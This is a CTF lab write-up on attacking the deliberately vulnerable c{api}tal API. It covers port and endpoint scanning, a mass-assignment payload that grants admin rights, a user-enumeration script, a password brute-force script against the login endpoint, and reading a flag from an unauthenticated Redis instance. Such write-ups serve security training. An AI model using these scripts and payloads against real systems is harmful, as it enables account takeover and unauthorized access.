API Penetration Testing Writeup: c{api}tal LAB
In this writeup, I’ll walk through the exploitation of the c{api}tal LAB CTF challenge, which covers multiple API security vulnerabilities including mass assignment, CORS misconfiguration, and weak authentication.
Initial Reconnaissance
Nmap Scan
1
sudo nmap -sC -sV -p- 10.183.255.149
The scan revealed several open ports:
- 22/tcp: SSH (OpenSSH 8.9p1)
- 80/tcp: Apache httpd 2.4.52 (User Management)
- 111/tcp: rpcbind
- 4100/tcp: Node.js Express framework (c{api}tal frontend)
- 6379/tcp: Redis key-value store 7.0.3
- 8000/tcp: Uvicorn (Python backend API)
Nikto Web Server Scan - Frontend (Port 4100)
1
nikto -h http://127.0.0.1:4100/
Key findings:
- Missing X-Frame-Options header (clickjacking risk)
- Missing X-Content-Type-Options header
- CORS header:
Access-Control-Allow-Origin: *(broad policy) - Possible WordPress installation detected
Nikto Web Server Scan - Backend (Port 8000)
1
nikto -h http://127.0.0.1:8000/
Key findings:
Access-Control-Allow-Origin: *(CORS misconfiguration)- Missing security headers (X-Frame-Options, X-Content-Type-Options)
These findings indicate potential API7:2019 (Security Misconfiguration) and API8:2019 (XSS) vulnerabilities.
Mass Assignment
Discovery
After registering and logging in through the frontend, I obtained a JWT token and tested the user update endpoint:
1
PUT http://127.0.0.1:8000/api/v2/users/login
Exploitation
By sending an additional admin property in the JSON request body:
1
2
3
4
5
{
"user": {
"admin": true
}
}
The API accepted the parameter and elevated my user privileges to admin!
Response:
1
2
3
4
5
6
7
8
9
10
{
"user": {
"username": "user1",
"email": "user1@example.com",
"bio": "flag{M4sS_AsS1gnm3nt}",
"image": null,
"admin": true,
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiZXhwIjoxNzY1ODkxNzI3LCJzdWIiOiJhY2Nlc3MifQ.WdCH6VZ4suM_2LUyIMICinSR9Vuzjeuha6W8oKISmwE"
}
}
First Flag: flag{M4sS_AsS1gnm3nt}
Root Cause: The backend failed to whitelist properties when binding client-provided data to the user model.
Exploring the Application
Articles and Comments
After gaining admin access, I explored the frontend at 127.0.0.1:4100 and discovered articles with comments. I found two comments on a selected article that I attempted to delete. 
for delete comment this is need two things slug and commentId 
API Directory Enumeration
Using feroxbuster to discover API endpoints:
1
feroxbuster -u http://127.0.0.1:8000/api/
Discovered endpoints:
/api/users(405 Method Not Allowed)/api/debug(405 Method Not Allowed)/api/admin(403 Forbidden - now accessible with elevated privileges)/api/user(403 Forbidden)/api/tags(200 OK)/api/membership(405 Method Not Allowed)/api/logging(403 Forbidden)
With admin privileges, I was able to access the /api/admin and /api/logging endpoints.

User Enumeration
User Discovery via Profiles Endpoint
The application exposed user profile information through:
1
GET /api/profiles/{username}
I identified the following users on the platform:
- Bob_the_dev
- Hodor
- Pikachu
- Ash Ketchum
- Blastoise
- TeamR$cket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import urllib.parse
base_url = "http://127.0.0.1:8000/api/profiles/"
token = "add your token here"
headers = {
"Authorization": f"Token {token}",
"Content-Type": "application/json",
"Accept": "application/json"
}
users = [
"Bob_the_dev",
"Hodor",
"Pikachu",
"Ash Ketchum",
"Blastoise",
"TeamR$cket"
]
for user in users:
encoded_username = urllib.parse.quote(user)
url = base_url + encoded_username
print(f"\n===== Requesting profile: {user} =====")
print(f"URL: {url}")
try:
r = requests.get(url, headers=headers)
print("Status:", r.status_code)
print("Response:", r.text)
except Exception as e:
print("Error:", e)
i will add this data in membership endpoit using postman 
Weak Authentication & Brute Force
Intelligence Gathering
While exploring articles, I found clues in the Pikachu user’s profile:
- Email:
Pikachu@checkmarx.com - Personal information: References to Pokémon favorites
1
2
3
4
My favourites pokemon!
flygon luxray garchomp gyarados absol ninetales torterra komala lurantis
charizard gengar arcanine bulbasaur dragonite Blaziken snorlax Mudkip
Jigglypuff ninetals squirtl
Password Brute Force Attack
The login endpoint lacked rate limiting, allowing brute force attacks. I compiled a password list from the Pokémon references and wrote a script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import json
url = "http://127.0.0.1:8000/api/v2/users/login"
email = "Pikachu@checkmarx.com"
with open("password_api_lab.txt", "r") as f:
passwords = f.read().splitlines()
for pwd in passwords:
data = {
"user": {
"email": email,
"password": pwd
}
}
r = requests.post(url, json=data)
if "incorrect email or password" not in r.text.lower():
print(f"[+] FOUND PASSWORD: {pwd}")
print("Response:", r.text)
break
else:
print(f"[-] Wrong: {pwd}")
Result: Successfully cracked the Pikachu account password.
Security Issue: Lack of rate limiting on the login endpoint allowed rapid password attempts without lockout.
API Version Discovery
Fuzzing API Versions
Using ffuf, I discovered multiple API versions:
1
ffuf -u http://127.0.0.1:8000/api/FUZZ/users/login -w versions.txt
Discovered versions:
/api/v1/users/login(405 Method Not Allowed)/api/v2/users/login(405 Method Not Allowed)
Both versions accepted POST requests for authentication, but API versioning suggests potential legacy endpoint vulnerabilities. 
Lack of Resource and Rate Limiting
The absence of rate limiting was evident throughout the API:
- No attempt throttling on authentication endpoints
- No request frequency limits
- Enabled brute force attacks on user credentials
in this case articles limit if this = number like 10000 or over the flag show in title 
API Documentation Exposure
The /docs endpoint exposed comprehensive Swagger documentation at:
1
http://127.0.0.1:8000/docs
This allowed attackers to understand the full API structure and available endpoints without reverse engineering.
Debug Endpoints
Debug Endpoint Testing
Through API enumeration, I discovered a /debug endpoint. Testing with parameter injection revealed potential RCE vulnerabilities. 
Unprotected Redis Instance
Redis Connection
The Redis instance (port 6379) was exposed without authentication:
1
2
3
4
5
redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> KEYS *
1) "flag"
127.0.0.1:6379> get flag
"flag{5eC_M1sc0nF1g}"
Second Flag: flag{5eC_M1sc0nF1g}
Critical Issue: Redis server was publicly accessible with no authentication, storing sensitive flag data and potentially application sessions or cache data.
This challenge effectively demonstrated how multiple seemingly minor vulnerabilities can chain together to enable complete system compromise in API-driven applications.
